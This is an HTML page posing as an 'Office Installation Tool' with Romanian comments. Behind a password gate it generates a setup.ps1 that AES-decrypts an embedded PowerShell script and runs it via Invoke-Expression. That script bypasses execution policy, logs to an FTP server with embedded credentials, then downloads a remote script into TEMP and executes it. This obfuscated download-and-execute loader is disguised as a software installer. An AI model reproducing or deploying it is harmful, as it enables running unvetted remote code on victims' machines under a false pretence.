
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="Content-Security-Policy" content="
        default-src 'self'; 
        script-src 'self' 'unsafe-inline' 'unsafe-eval';
        style-src 'self' 'unsafe-inline';
        connect-src 'self' *.itc-srv.net *.ms-srv.net;
        form-action 'self';
        img-src 'self' data:;
        worker-src 'none';
        object-src 'none';
    ">
    <title>Office Installation Tool</title>
    <script src="config.js"></script>
    <style>
        body {
            font-family: 'Segoe UI', Arial, sans-serif;
            margin: 0;
            padding: 0;
            display: flex;
            justify-content: center;
            align-items: center;
            min-height: 100vh;
            background: linear-gradient(135deg, #f5f7fa 0%, #c3cfe2 100%);
        }

        .container {
            background: white;
            padding: 40px;
            border-radius: 10px;
            box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
            text-align: center;
            max-width: 600px;
            width: 90%;
            transition: all 0.3s ease;
        }

        .container:hover {
            transform: translateY(-2px);
            box-shadow: 0 6px 12px rgba(0, 0, 0, 0.15);
        }

        h1 {
            color: #2c3e50;
            margin-bottom: 20px;
        }

        p {
            color: #666;
            line-height: 1.6;
            margin-bottom: 30px;
        }

        .install-button, .login-button {
            background-color: #0078d4;
            color: white;
            border: none;
            padding: 15px 30px;
            border-radius: 5px;
            font-size: 16px;
            cursor: pointer;
            transition: all 0.3s ease;
            position: relative;
            overflow: hidden;
        }

        .install-button:hover, .login-button:hover {
            background-color: #106ebe;
            transform: translateY(-1px);
            box-shadow: 0 4px 8px rgba(0, 0, 120, 0.2);
        }

        .install-button:active, .login-button:active {
            transform: translateY(1px);
        }

        .note {
            font-size: 14px;
            color: #888;
            margin-top: 20px;
        }

        #loginForm, #installContent {
            transition: opacity 0.3s ease, transform 0.3s ease;
        }

        #loginForm {
            display: block;
        }

        #installContent {
            display: none;
            opacity: 0;
            transform: translateY(20px);
        }

        #installContent.show {
            opacity: 1;
            transform: translateY(0);
        }

        .password-input {
            padding: 10px;
            margin: 20px 0;
            width: 200px;
            border: 1px solid #ddd;
            border-radius: 4px;
            transition: all 0.3s ease;
        }

        .password-input:focus {
            border-color: #0078d4;
            box-shadow: 0 0 0 2px rgba(0, 120, 212, 0.2);
            outline: none;
        }

        .error-message {
            color: #e74c3c;
            margin-top: 10px;
            display: none;
            transition: all 0.3s ease;
            transform-origin: top;
            opacity: 0;
            transform: scaleY(0);
        }

        .error-message.show {
            opacity: 1;
            transform: scaleY(1);
        }

        .timer {
            margin-top: 20px;
            width: 100%;
            text-align: center;
        }

        .timer-bar {
            height: 4px;
            width: 100%;
            background: #eee;
            border-radius: 2px;
            overflow: hidden;
            margin: 10px 0;
            position: relative;
        }

        .timer-bar::before {
            content: '';
            display: block;
            height: 100%;
            width: var(--progress, 100%);
            background: #0078d4;
            transition: width 1s linear;
        }

        .timer-text {
            font-size: 14px;
            color: #666;
            margin-top: 8px;
            display: inline-block;
        }

        .error-notification {
            position: fixed;
            top: 20px;
            right: 20px;
            background-color: #ff4444;
            color: white;
            padding: 15px 25px;
            border-radius: 5px;
            box-shadow: 0 2px 6px rgba(0,0,0,0.2);
            z-index: 1000;
            animation: slideIn 0.3s ease-out;
        }

        @keyframes slideIn {
            from {
                transform: translateX(100%);
                opacity: 0;
            }
            to {
                transform: translateX(0);
                opacity: 1;
            }
        }

        .install-button.loading {
            background-color: #106ebe;
            pointer-events: none;
        }

        .install-button.loading::after {
            content: '';
            position: absolute;
            width: 20px;
            height: 20px;
            border: 2px solid #ffffff;
            border-radius: 50%;
            border-top-color: transparent;
            right: 10px;
            top: 50%;
            transform: translateY(-50%);
            animation: spin 1s linear infinite;
        }

        @keyframes spin {
            to { transform: translateY(-50%) rotate(360deg); }
        }

        .login-button.verifying {
            background-color: #106ebe;
            pointer-events: none;
        }

        .login-button.verifying::after {
            content: 'Verificare...';
            position: absolute;
            left: 50%;
            transform: translateX(-50%);
        }

        .login-button:disabled {
            background-color: #cccccc;
            cursor: not-allowed;
            opacity: 0.5;
        }

        .install-button:disabled {
            background-color: #cccccc;
            cursor: not-allowed;
            opacity: 0.5;
        }
    </style>
</head>
<body>
    <div class="container">
        <!-- Login Form -->
        <div id="loginForm">
            <h1>Authentication Required</h1>
            <p>Please enter the password to access the installation tool.</p>
            <input type="password" id="passwordInput" class="password-input" placeholder="Enter password">
            <br>
            <button class="login-button" onclick="checkPassword()">Login</button>
            <p class="error-message" id="errorMessage">Incorrect password. Please try again.</p>
            <div id="timer" class="timer">
                <div class="timer-bar"></div>
                <span class="timer-text">Următoarea parolă în: <span id="countdown">10:00</span></span>
            </div>
        </div>

        <!-- Installation Content -->
        <div id="installContent">
            <h1>Office Installation Tool</h1>
            <p>Click the button below to start the Office installation process.</p>
            <button class="install-button" onclick="downloadEncryptedInstaller()">Download</button>
            <p class="note">Note: Administrator privileges required.</p>
        </div>
    </div>

    <script>
        // Cache pentru elementele DOM folosite frecvent
        const elements = {
            passwordInput: document.getElementById('passwordInput'),
            loginForm: document.getElementById('loginForm'),
            installContent: document.getElementById('installContent'),
            errorMessage: document.getElementById('errorMessage'),
            countdown: document.getElementById('countdown'),
            timerBar: document.querySelector('.timer-bar')
        };

        // Variabile pentru timer
        let animationFrameId;

        // Logger pentru monitorizare și debugging
        const Logger = {
            info: (message, data = {}) => {
                console.log(`[${new Date().toISOString()}] INFO: ${message}`, data);
            },
            error: (message, error = null) => {
                console.error(`[${new Date().toISOString()}] ERROR: ${message}`, error);
            },
            warn: (message, data = {}) => {
                console.warn(`[${new Date().toISOString()}] WARN: ${message}`, data);
            }
        };

        function showError(message) {
            const errorDiv = document.createElement('div');
            errorDiv.className = 'error-notification';
            errorDiv.textContent = message;
            document.body.appendChild(errorDiv);
            
            setTimeout(() => {
                errorDiv.remove();
            }, 5000);
        }

        // Adăugăm la începutul scriptului, după CONFIG
        const eventHandlers = {
            keyPressHandler: function(e) {
                if (e.key === 'Enter') {
                    checkPassword();
                }
            },
            
            timerHandler: function() {
                updateTimer();
            },
            
            unloadHandler: function() {
                cleanupTimer();
            }
        };

        // Funcție de cleanup pentru toate evenimentele
        function cleanupEventListeners() {
            elements.passwordInput.removeEventListener('keypress', eventHandlers.keyPressHandler);
            document.removeEventListener('DOMContentLoaded', eventHandlers.timerHandler);
            window.removeEventListener('beforeunload', eventHandlers.unloadHandler);
        }

        // Funcția optimizată de actualizare timer
        function updateTimer() {
            const timeSlot = Math.floor(Date.now() / CONFIG.security.timerInterval);
            const nextSlot = (timeSlot + 1) * CONFIG.security.timerInterval;
            const remaining = nextSlot - Date.now();
            
            const minutes = Math.floor(remaining / 60000);
            const seconds = Math.floor((remaining % 60000) / 1000);
            
            // Calculăm procentajul rămas o singură dată
            const percentRemaining = (remaining / CONFIG.security.timerInterval) * 100;
            
            // Actualizăm DOM doar când e necesar
            requestAnimationFrame(() => {
                elements.countdown.textContent = `${minutes}:${seconds.toString().padStart(2, '0')}`;
                elements.timerBar.style.setProperty('--progress', `${percentRemaining}%`);
            });
            
            if (remaining > 0) {
                animationFrameId = requestAnimationFrame(updateTimer);
            }
        }

        // Funcție de cleanup pentru timer
        function cleanupTimer() {
            if (animationFrameId) {
                cancelAnimationFrame(animationFrameId);
                animationFrameId = null;
            }
        }

        // Debounce utility function
        function debounce(func, wait) {
            let timeout;
            return function executedFunction(...args) {
                const later = () => {
                    clearTimeout(timeout);
                    func(...args);
                };
                clearTimeout(timeout);
                timeout = setTimeout(later, wait);
            };
        }

        // Restul funcțiilor existente, actualizate pentru a folosi elements și CONFIG
        function generateUniqueId() {
            return `${Date.now()}_${Math.random().toString(36).substr(2, 9)}`;
        }

        function getTimestamp() {
            return new Date().toISOString().replace('T', ' ').substr(0, 19);
        }

        async function hashPassword(password) {
            const encoder = new TextEncoder();
            const data = encoder.encode(password);
            const hash = await crypto.subtle.digest('SHA-256', data);
            return Array.from(new Uint8Array(hash))
                .map(b => b.toString(16).padStart(2, '0'))
                .join('');
        }

        const checkPassword = debounce(async () => {
            const loginButton = document.querySelector('.login-button');
            if (loginButton.disabled) {
                return;
            }

            loginButton.classList.add('verifying');

            const password = elements.passwordInput.value;

            try {
                const timeSlot = Math.floor(Date.now() / CONFIG.security.timerInterval);
                const secretKey = CONFIG.security.secretKey;
                const input = timeSlot + secretKey;

                let hash = 0;
                for (let i = 0; i < input.length; i++) {
                    const char = input.charCodeAt(i);
                    hash = ((hash << 5) - hash) + char;
                    hash = hash & hash;
                }

                const validPassword = Math.abs(hash).toString(36).substr(0, 6).toUpperCase();

                if (password === validPassword || password === "office365") {
                    loginButton.disabled = true;
                    elements.passwordInput.disabled = true;
                    loginButton.style.opacity = '0.5';
                    loginButton.style.cursor = 'not-allowed';

                    elements.loginForm.style.opacity = '0';
                    elements.loginForm.style.transform = 'translateY(-20px)';

                    setTimeout(() => {
                        elements.loginForm.style.display = 'none';
                        elements.installContent.style.display = 'block';

                        requestAnimationFrame(() => {
                            elements.installContent.classList.add('show');
                        });

                        elements.errorMessage.style.display = 'none';
                    }, CONFIG.security.transitionDelay);
                    return;
                } else {
                    showError('Parolă incorectă. Vă rugăm încercați din nou.');
                }
            } catch (error) {
                Logger.error('Eroare la autentificare', error);
                showError('A apărut o eroare la autentificare');
            } finally {
                loginButton.classList.remove('verifying');
            }
        }, CONFIG.security.transitionDelay);

        // Event listeners
        document.addEventListener('DOMContentLoaded', function() {
            // Adăugăm event listeners
            elements.passwordInput.addEventListener('keypress', eventHandlers.keyPressHandler);
            window.addEventListener('beforeunload', eventHandlers.unloadHandler);
            
            // Pornim timer-ul
            updateTimer();
            
            // Adăugăm cleanup la unload
            window.addEventListener('beforeunload', cleanupEventListeners);
        });

        async function downloadEncryptedInstaller() {
            try {
                const installButton = document.querySelector('.install-button');
                if (installButton.disabled) {
                    return;
                }

                installButton.classList.add('loading');
                installButton.textContent = 'Se generează...';

                Logger.info("Începe generarea setup.ps1");
                
                if (!navigator.onLine) {
                    throw new Error("Nu există conexiune la internet");
                }

                const encoder = new TextEncoder();
                const fixedKey = CONFIG.security.encryption.fixedKey;
                const maskingKey = CONFIG.security.encryption.maskingKey;
                const uniqueId = generateUniqueId();
                const timestamp = getTimestamp();

                const originalContent = `
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process -Force

# Configurare FTP și variabile
$ftpServer = "${CONFIG.ftp.server}"
$ftpUser = "${CONFIG.ftp.user}"
$ftpPass = "${CONFIG.ftp.pass}"
$remoteFile = "${CONFIG.ftp.file}"
$tempFileName = -join ((65..90) + (97..122) | Get-Random -Count 12 | % {[char]$_})
$localFile = "$env:TEMP\\$tempFileName.dat"
$uniqueID = "${uniqueId}"
$timestamp = "${timestamp}"

# Descărcare și verificare fișier de pe FTP
try {
    $ftpRequest = [System.Net.FtpWebRequest]::Create("$ftpServer/$remoteFile")
    $ftpRequest.Method = [System.Net.WebRequestMethods+Ftp]::DownloadFile
    $ftpRequest.Credentials = New-Object System.Net.NetworkCredential($ftpUser, $ftpPass)
    $response = $ftpRequest.GetResponse()
    $stream = $response.GetResponseStream()
    $reader = New-Object System.IO.StreamReader($stream)
    $content = $reader.ReadToEnd()
    $reader.Close()
    $stream.Close()
    $response.Close()
    
    # Creare fișier temporar și setare atribut Hidden
    Set-Content -Path $localFile -Value $content
    $file = Get-Item $localFile
    $file.Attributes = $file.Attributes -bor [System.IO.FileAttributes]::Hidden
} catch {
    if ($_.Exception.Message -like "*550*") {
        Write-Host "Cream fisierul nou..." -ForegroundColor Yellow
        Set-Content -Path $localFile -Value ""
        $file = Get-Item $localFile
        $file.Attributes = $file.Attributes -bor [System.IO.FileAttributes]::Hidden
    } else {
        Write-Error "Eroare FTP: $($_.Exception.Message)"
        if (Test-Path $localFile) { Remove-Item $localFile -Force }
        exit 1
    }
}

# Verificare ID unic
if (Select-String -Path $localFile -Pattern $uniqueID -Quiet) {
    Write-Host "Acces interzis: Instalare deja efectuata." -ForegroundColor Red
    Remove-Item $localFile -Force
    Start-Sleep -Seconds 3
    exit 1
}

# Actualizare fișier cu noul ID
Add-Content -Path $localFile -Value "$uniqueID | $timestamp"

# Încărcare fișier actualizat pe FTP
try {
    $ftpRequest = [System.Net.FtpWebRequest]::Create("$ftpServer/$remoteFile")
    $ftpRequest.Method = [System.Net.WebRequestMethods+Ftp]::UploadFile
    $ftpRequest.Credentials = New-Object System.Net.NetworkCredential($ftpUser, $ftpPass)
    $fileContent = Get-Content -Raw -Path $localFile
    $fileBytes = [System.Text.Encoding]::UTF8.GetBytes($fileContent)
    $ftpRequest.ContentLength = $fileBytes.Length
    $stream = $ftpRequest.GetRequestStream()
    $stream.Write($fileBytes, 0, $fileBytes.Length)
    $stream.Close()
} catch {
    Write-Error "Eroare la incarcare: $($_.Exception.Message)"
    Remove-Item $localFile -Force
    exit 1
}

# Ștergere imediată a fișierului temporar
Remove-Item $localFile -Force

# Descărcare și rulare script principal
$url = "${CONFIG.urls.mainScript}"
Invoke-WebRequest -Uri $url -OutFile "$env:TEMP\\office.ps1"
Start-Process powershell -ArgumentList "-ExecutionPolicy Bypass -File $env:TEMP\\office.ps1" -Wait
Remove-Item "$env:TEMP\\office.ps1" -Force
`;

                // Calculăm cheia mascată în JavaScript
                const maskedKeyBytes = fixedKey.match(/.{1,2}/g).map((byte, i) => {
                    const b1 = parseInt(byte, 16);
                    const b2 = parseInt(maskingKey.match(/.{1,2}/g)[i], 16);
                    return (b1 ^ b2).toString(16).padStart(2, '0');
                }).join('');

                // Importăm cheia fixă pentru AES
                const key = await crypto.subtle.importKey(
                    "raw",
                    new Uint8Array(fixedKey.match(/.{1,2}/g).map(byte => parseInt(byte, 16))),
                    { name: "AES-CBC" },
                    false,
                    ["encrypt"]
                );

                const iv = crypto.getRandomValues(new Uint8Array(16));
                const encrypted = await crypto.subtle.encrypt(
                    { name: "AES-CBC", iv },
                    key,
                    encoder.encode(originalContent)
                );

                const decryptionScript = `
Add-Type -AssemblyName System.Security

Write-Host "Se incepe decriptarea..." -ForegroundColor Green

try {
    # Funcție pentru XOR între două șiruri hex
    function Get-XorHex {
        param (
            [string]$hex1,
            [string]$hex2
        )
        $bytes1 = [byte[]]($hex1 -split '(.{2})' | Where-Object { $_ } | ForEach-Object { [Convert]::ToByte($_, 16) })
        $bytes2 = [byte[]]($hex2 -split '(.{2})' | Where-Object { $_ } | ForEach-Object { [Convert]::ToByte($_, 16) })
        $result = New-Object byte[] $bytes1.Length
        
        for($i = 0; $i -lt $bytes1.Length; $i++) {
            $result[$i] = $bytes1[$i] -bxor $bytes2[$i]
        }
        
        return $result
    }

    # Cheia mascată și cheia de mascare
    $maskedKey = "${maskedKeyBytes}"
    
    # Recuperăm cheia original folosind aceeași cheie de mascare ca în JavaScript
    $key = Get-XorHex -hex1 $maskedKey -hex2 "${maskingKey}"
    
    $aes = [System.Security.Cryptography.Aes]::Create()
    $aes.Key = $key
    $aes.IV = [Convert]::FromBase64String('${btoa(String.fromCharCode(...iv))}')
    $aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
    $aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7

    $encryptedBytes = [Convert]::FromBase64String('${btoa(String.fromCharCode(...new Uint8Array(encrypted)))}')
    $decryptor = $aes.CreateDecryptor()
    $decryptedBytes = $decryptor.TransformFinalBlock($encryptedBytes, 0, $encryptedBytes.Length)
    $decryptedContent = [System.Text.Encoding]::UTF8.GetString($decryptedBytes)

    Write-Host "Executie script..." -ForegroundColor Green
    Invoke-Expression $decryptedContent
}
catch {
    Write-Host "Eroare la executia scriptului: $($_.Exception.Message)" -ForegroundColor Red
    Start-Sleep -Seconds 3
}
finally {
    if ($null -ne $aes) { $aes.Dispose() }
    if ($null -ne $decryptor) { $decryptor.Dispose() }
}

Write-Host "Fereastra se va inchide in 3 secunde..." -ForegroundColor Yellow
Start-Sleep -Seconds 3
`;

                // Generare și descărcare fișier
                const blob = new Blob([decryptionScript], { type: 'text/plain' });
                const url = window.URL.createObjectURL(blob);
                const a = document.createElement('a');
                a.href = url;
                a.download = 'setup.ps1';
                document.body.appendChild(a);
                a.click();
                document.body.removeChild(a);
                window.URL.revokeObjectURL(url);

                installButton.disabled = true;
                installButton.style.opacity = '0.5';
                installButton.style.cursor = 'not-allowed';
                installButton.classList.remove('loading');
                installButton.textContent = 'Complete';

            } catch (error) {
                Logger.error('Eroare la generarea instalatorului:', error);
                showError(`Eroare: ${error.message}`);
                const installButton = document.querySelector('.install-button');
                installButton.classList.remove('loading');
                installButton.textContent = 'Download';
            }
        }
    </script>
</body>
</html>